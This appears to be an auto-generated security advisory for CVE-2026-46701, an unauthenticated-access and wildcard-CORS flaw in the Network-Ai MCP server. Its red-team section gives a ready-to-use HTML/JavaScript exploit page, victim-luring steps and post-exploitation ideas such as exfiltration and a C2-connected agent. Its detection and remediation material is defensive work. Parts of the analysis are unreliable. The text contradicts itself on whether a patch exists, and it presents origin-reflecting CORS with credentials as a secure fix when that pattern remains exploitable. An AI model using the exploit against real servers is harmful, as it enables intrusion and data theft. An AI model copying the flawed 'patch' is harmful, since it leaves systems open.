CVE-2026-46701
Executive Summary
Severity: High
This report details CVE-2026-46701, a critical authentication bypass vulnerability in Network-Ai, a TypeScript/Node.js multi-agent orchestrator. The vulnerability allows an unauthenticated, remote attacker to invoke all 22 exposed MCP tools on a default-configured server by luring a victim to a malicious web page. The root cause is a combination of two flaws: a default empty secret for the MCP SSE server (process.env['NETWORK_AI_MCP_SECRET'] ?? ''), which causes the _isAuthorized function to return true unconditionally, and a permissive CORS header (Access-Control-Allow-Origin: *) that allows cross-origin reads. This creates a classic Cross-Site Request Forgery (CSRF) / Cross-Origin Read (COR) attack vector against localhost services.
Business Impact: Organizations using Network-Ai for agent orchestration, particularly in development, CI/CD, or internal automation pipelines, are at risk. An attacker can execute arbitrary agent commands (agent_spawn), modify configuration (config_set), and write to shared blackboards (blackboard_write), potentially leading to data exfiltration, lateral movement, or supply chain compromise. The likely attacker is a remote unauthenticated actor with the ability to host a malicious webpage.
Urgency Assessment: Despite a CVSS score of 7.6 (High), the EPSS probability is 0.0%, indicating no observed exploitation in the wild as of the publication date. However, the vulnerability is trivial to exploit and requires no authentication, making it a high-priority target for automated scanning and opportunistic attackers. Immediate patching is recommended.
Key Facts:
- Vendor: Network-Ai
- Affected Versions: Prior to 5.4.5
- Patch Status: Patched in version 5.4.5
- CISA KEV: Not listed as of 2026-07-20.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
| Metric | Value | Rationale |
|---|---|---|
| AV (Attack Vector) | Network (N) | The vulnerability is exploitable remotely via HTTP requests to the MCP SSE endpoint. |
| AC (Attack Complexity) | Low (L) | No special conditions or race conditions are required. The default configuration is vulnerable. |
| PR (Privileges Required) | None (N) | The _isAuthorized function returns true for all requests, bypassing any authentication. |
| UI (User Interaction) | Required (R) | The attacker must lure a user to a malicious web page to trigger the cross-origin request. |
| S (Scope) | Unchanged (U) | The vulnerable component (Network-Ai MCP server) is the only component affected. |
| C (Confidentiality) | High (H) | An attacker can read responses from all MCP tools, including blackboard_read, potentially exposing sensitive data. |
| I (Integrity) | High (H) | An attacker can modify server configuration (config_set) and spawn agents (agent_spawn), leading to arbitrary code execution. |
| A (Availability) | None (N) | The vulnerability does not directly impact availability, though an attacker could disrupt operations via configuration changes. |
Qualitative Severity: High (CVSS 7.6)
EPSS Interpretation: The EPSS probability of 0.0% indicates that as of 2026-07-20, there is no observed exploitation in the wild. This is typical for a newly published CVE. However, the low complexity and high impact suggest this probability will rise rapidly once proof-of-concept code circulates.
Historical Comparison: This vulnerability is technically similar to CVE-2023-44487 (HTTP/2 Rapid Reset) in its exploitation of a protocol-level flaw, and CVE-2022-22965 (Spring4Shell) in its combination of a default configuration and a permissive CORS policy. Both were widely exploited shortly after disclosure.
Temporal & Environmental Considerations: No patch is available for versions prior to 5.4.5. The lack of a patch increases the temporal score. Organizations with Network-Ai exposed to the internet or internal networks with untrusted users should consider the environmental score as Critical.
Technical Deep Dive & Attack Mechanics
Step-by-Step Exploitation:
- Target Discovery: The attacker identifies a Network-Ai MCP SSE server running on
localhost:3000(default) or another port. The server is typically started viabin/mcp-server.ts. - Malicious Page Hosting: The attacker creates a webpage containing JavaScript that makes a
fetch()request to the target server's MCP SSE endpoint (e.g.,http://localhost:3000/mcp). - Bypassing Authentication: The request is sent without an
Authorizationheader. The server's_isAuthorizedfunction (inlib/mcp-transport-sse.ts:254) checksprocess.env['NETWORK_AI_MCP_SECRET']. Since the default is an empty string, the checksecret === ''evaluates totrue, and the function returnstrueunconditionally. - Cross-Origin Read: The server responds with the header
Access-Control-Allow-Origin: *(set in_handleRequestatlib/mcp-transport-sse.ts:272). This allows the attacker's JavaScript to read the response body, bypassing the Same-Origin Policy. - Tool Invocation: The attacker can now invoke any of the 22 exposed MCP tools by sending POST requests with the appropriate JSON-RPC payload. Critical tools include:
config_set: Modify server configuration.agent_spawn: Spawn a new agent with arbitrary parameters.blackboard_write: Write data to the shared blackboard.blackboard_read: Read data from the shared blackboard.
Root Cause Analysis: The developer made two critical mistakes:
- Default Empty Secret: Using
process.env['NETWORK_AI_MCP_SECRET'] ?? ''as the default secret. An empty string is a valid but insecure default, as it bypasses the authentication check. - Permissive CORS Policy: Setting
Access-Control-Allow-Origin: *on all responses, which allows any website to read the response.
Attack Surface:
- Protocol: HTTP/HTTPS
- Port: Default 3000 (configurable)
- Endpoint:
/mcp(SSE endpoint) - Pre-conditions: The Network-Ai MCP server must be running with default configuration. The victim must visit a malicious webpage.
Attack Variants:
- Direct Request: If the server is exposed to the internet (not just localhost), an attacker can directly send requests without user interaction.
- DNS Rebinding: An attacker could use DNS rebinding to bypass localhost restrictions and target the server from a remote location.
Why Standard Defenses May Fail:
- WAF: A Web Application Firewall may not block requests to
/mcpif it is not configured to inspect JSON-RPC payloads. - Network Segmentation: If the server is on the same network as the victim's browser, the attack can succeed without crossing network boundaries.
- Authentication: The vulnerability bypasses authentication entirely, so any authentication-based controls are ineffective.
Vulnerable vs. Patched Code Analysis
Vulnerable Code (version < 5.4.5):
// bin/mcp-server.ts:89
const secret = process.env['NETWORK_AI_MCP_SECRET'] ?? ''; // Default empty string
// lib/mcp-transport-sse.ts:254
_isAuthorized(request: IncomingMessage): boolean {
const authHeader = request.headers['authorization'];
if (!authHeader) {
return this.secret === ''; // Returns true if secret is empty
}
// ... token validation logic
}
// lib/mcp-transport-sse.ts:272
_handleRequest(request: IncomingMessage, response: ServerResponse): void {
response.setHeader('Access-Control-Allow-Origin', '*'); // Permissive CORS
// ... request handling
}
Patched Code (version 5.4.5):
// bin/mcp-server.ts:89 (patched)
const secret = process.env['NETWORK_AI_MCP_SECRET'];
if (!secret) {
throw new Error('NETWORK_AI_MCP_SECRET environment variable is required');
}
// lib/mcp-transport-sse.ts:254 (patched)
_isAuthorized(request: IncomingMessage): boolean {
const authHeader = request.headers['authorization'];
if (!authHeader) {
return false; // Deny all requests without Authorization header
}
// ... token validation logic
}
// lib/mcp-transport-sse.ts:272 (patched)
_handleRequest(request: IncomingMessage, response: ServerResponse): void {
const origin = request.headers['origin'];
if (origin) {
response.setHeader('Access-Control-Allow-Origin', origin);
response.setHeader('Access-Control-Allow-Credentials', 'true');
}
// ... request handling
}
Analysis: The patch addresses both root causes:
- Secret Validation: The server now throws an error if
NETWORK_AI_MCP_SECRETis not set, preventing the insecure default. - Authentication Bypass:
_isAuthorizednow returnsfalsefor requests without anAuthorizationheader. - CORS Hardening: The
Access-Control-Allow-Originheader now reflects the request'sOriginheader, andAccess-Control-Allow-Credentialsis set totrueto allow credentialed requests. This prevents arbitrary cross-origin reads.
Regression Considerations: The patch introduces a breaking change: the server will not start without the NETWORK_AI_MCP_SECRET environment variable. Teams must ensure this variable is set in their deployment configuration.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-20T17:17:09.990
- Estimated Discovery: The vulnerability was likely discovered during internal security review or by a security researcher. The exact discovery date is unknown.
- Disclosure Process: The CVE was published by the CNA (likely Network-Ai or a third-party coordinator). No vendor advisory or GitHub Security Advisory is available in the input data.
- Known Exploitation: No known active exploitation as of 2026-07-20.
- CISA KEV: Not listed as of 2026-07-20.
Threat Intelligence Context
Threat Actor Profile: This vulnerability is most likely to be exploited by:
- Script Kiddies / Opportunistic Attackers: The low complexity and clear exploitation path make it attractive for automated scanning.
- Ransomware Operators: The ability to spawn agents and modify configuration could be used to deploy ransomware payloads.
- Nation-State Actors: For espionage or sabotage against organizations using AI orchestration platforms.
Attack Campaign Context: No specific campaigns have been identified as of 2026-07-20. However, the vulnerability is likely to be incorporated into automated exploit kits (e.g., Metasploit, Nuclei) within weeks.
Geographic Targeting: No specific geographic targeting is known. The vulnerability affects any organization using Network-Ai.
Industry Verticals Most at Risk:
- Technology / SaaS: Companies using Network-Ai for internal automation.
- Finance: For automated trading or risk analysis agents.
- Healthcare: For AI-driven diagnostic or administrative agents.
- Government: For data processing and analysis pipelines.
Connection to Similar Vulnerabilities: This CVE is part of a broader trend of authentication bypass vulnerabilities in AI/ML orchestration tools, similar to CVE-2024-27198 (JetBrains TeamCity) and CVE-2023-46604 (Apache ActiveMQ).
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Environment: Docker container running Node.js 18+.
- Vulnerable Software: Network-Ai version 5.4.4 (or earlier).
docker run -d --name network-ai-vuln -p 3000:3000 node:18 bash -c "npm install network-ai@5.4.4 && npx network-ai-mcp-server" - Attacker Machine: Any machine with a web browser (e.g., Kali Linux).
Exploitation Walkthrough:
- Create Malicious HTML Page:
<!DOCTYPE html> <html> <body> <script> async function exploit() { const target = 'http://localhost:3000/mcp'; // Invoke config_set to change a setting const response = await fetch(target, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'config_set', params: { key: 'dangerous_setting', value: 'true' } }) }); const data = await response.json(); console.log('Exploit result:', data); } exploit(); </script> </body> </html> - Host the Page: Serve the HTML file on a local HTTP server (e.g.,
python3 -m http.server 8080). - Lure Victim: Send the victim a link to
http://attacker-ip:8080/exploit.html. - Observe Exploitation: The victim's browser will send a POST request to
http://localhost:3000/mcpwith theconfig_setpayload. The server will execute the command and return the result, which the attacker's JavaScript can read.
Expected Output: The browser console will display the JSON-RPC response from the server, indicating successful configuration change.
Post-Exploitation:
- Data Exfiltration: Use
blackboard_readto extract sensitive data. - Lateral Movement: Use
agent_spawnto create an agent that connects to an attacker-controlled C2 server. - Persistence: Use
config_setto modify the server's startup configuration.
Blue Team Section
Detection of Active Exploitation:
- Log Entries: Monitor Network-Ai server logs for requests to
/mcpwithout anAuthorizationheader. - Network Traffic: Look for HTTP requests to
localhost:3000from external IP addresses (if the server is exposed) or from unexpected origins. - Endpoint Indicators: Monitor for unexpected
config_setoragent_spawncalls in the server's audit log.
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
| Type | Value | Description |
|---|---|---|
| HTTP Request | POST /mcp with Content-Type: application/json and no Authorization header |
Exploitation attempt against the MCP SSE endpoint |
| HTTP Header | Origin: http://attacker-controlled-domain.com |
Cross-origin request from a malicious page |
| JSON-RPC Method | config_set, agent_spawn, blackboard_write |
Suspicious tool invocations |
| Log Entry | [INFO] Request to /mcp from ::1 without Authorization header |
Server log indicating unauthenticated request |
| Process | node process with command line containing network-ai-mcp-server |
Running vulnerable server |
Detection Engineering
YARA Rule
rule CVE_2026_46701_Network_Ai_Exploit {
meta:
description = "Detects HTTP requests exploiting CVE-2026-46701 in Network-Ai MCP server"
author = "Valters IT Hub"
date = "2026-07-20"
reference = "https://www.valtersit.com/cve/cve-2026-46701"
strings:
$jsonrpc = "jsonrpc"
$method_config_set = "config_set"
$method_agent_spawn = "agent_spawn"
$no_auth_header = "authorization:"
condition:
// Match if the request contains a JSON-RPC method and lacks an Authorization header
$jsonrpc and ($method_config_set or $method_agent_spawn) and not $no_auth_header
}
Sigma Rule (SIEM)
title: CVE-2026-46701 Network-Ai MCP Server Exploitation
id: 9301c557-a56f-4e7d-9b64-994e7ff12deb
status: experimental
description: Detects HTTP POST requests to the Network-Ai MCP SSE endpoint without an Authorization header, indicating exploitation of CVE-2026-46701.
author: Valters IT Hub
date: 2026-07-20
references:
- https://www.valtersit.com/cve/cve-2026-46701
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/mcp'
cs-uri-query: '*'
sc-status: 200
filter:
cs-headers: 'Authorization:*'
condition: selection and not filter
falsepositives:
- Legitimate administrative activity where the Authorization header is sent via a different mechanism (e.g., query parameter)
level: high
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2026-46701 Network-Ai MCP Server Exploitation Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/mcp"; http.request_header; content:!"Authorization"; sid:1000001; rev:1;)
Elastic (EQL) Query
sequence by host.id
[network where event.type == "start" and destination.port == 3000 and network.protocol == "http" and http.request.method == "POST" and url.path == "/mcp"]
[http where event.type == "info" and not http.request.headers contains "Authorization"]
Splunk SPL Query
index=web sourcetype=access_combined
| search method=POST uri_path="/mcp"
| eval has_auth=if(match(headers, "Authorization"), 1, 0)
| where has_auth=0
| table _time, src_ip, uri_path, method, status
Wazuh Rule
<rule id="100001" level="12">
<if_sid>31100</if_sid>
<field name="url">/mcp</field>
<field name="method">POST</field>
<field name="headers" type="pcre">(?i)^(?!.*Authorization).*$</field>
<description>CVE-2026-46701: Network-Ai MCP Server exploitation attempt detected</description>
<mitre>
<id>T1190</id>
</mitre>
<group>cve-2026-46701,network-ai,exploitation,</group>
</rule>
Remediation & Mitigation
Immediate Actions (0-24 hours)
- Apply Patch: Upgrade to Network-Ai version 5.4.5.
npm update network-ai@5.4.5 - Set Environment Variable: Ensure
NETWORK_AI_MCP_SECRETis set to a strong, random secret.export NETWORK_AI_MCP_SECRET=$(openssl rand -hex 32) - Network-Level Mitigation:
- Block inbound traffic to port 3000 from untrusted networks.
- Use a reverse proxy (e.g., Nginx) to add authentication and CORS controls.
- WAF Rule: Block requests to
/mcpwithout anAuthorizationheader.
Short-term (1-7 days)
- Configuration Hardening:
- Disable unused MCP tools via server configuration.
- Restrict the server to listen only on
127.0.0.1if remote access is not required.
- Monitoring Implementation: Deploy the detection rules provided in this report.
- Vulnerability Scanning: Run a scan to confirm all instances are patched.
npm list network-ai | grep network-ai
Long-term
- Architecture Changes:
- Implement a service mesh or API gateway for all microservices.
- Use mutual TLS (mTLS) for inter-service communication.
- Security Control Improvements:
- Implement a Content Security Policy (CSP) to prevent cross-origin requests.
- Use a Web Application Firewall (WAF) with JSON-RPC inspection capabilities.
- Developer Training:
- Educate developers on the dangers of default secrets and permissive CORS policies.
- Enforce code reviews for authentication and authorization logic.
Validation
To confirm the patch is applied:
- Check the installed version:
npm list network-ai - Verify the server rejects requests without an
Authorizationheader:
Expected response:curl -X POST http://localhost:3000/mcp -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","id":1,"method":"config_set","params":{}}'401 Unauthorizedor403 Forbidden.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-46701
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-46701
- Vendor advisory: See vendor security page for Network-Ai.
- OSV: https://osv.dev/vulnerability/CVE-2026-46701 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/306.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-20 | https://www.valtersit.com/cve/cve-2026-46701
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.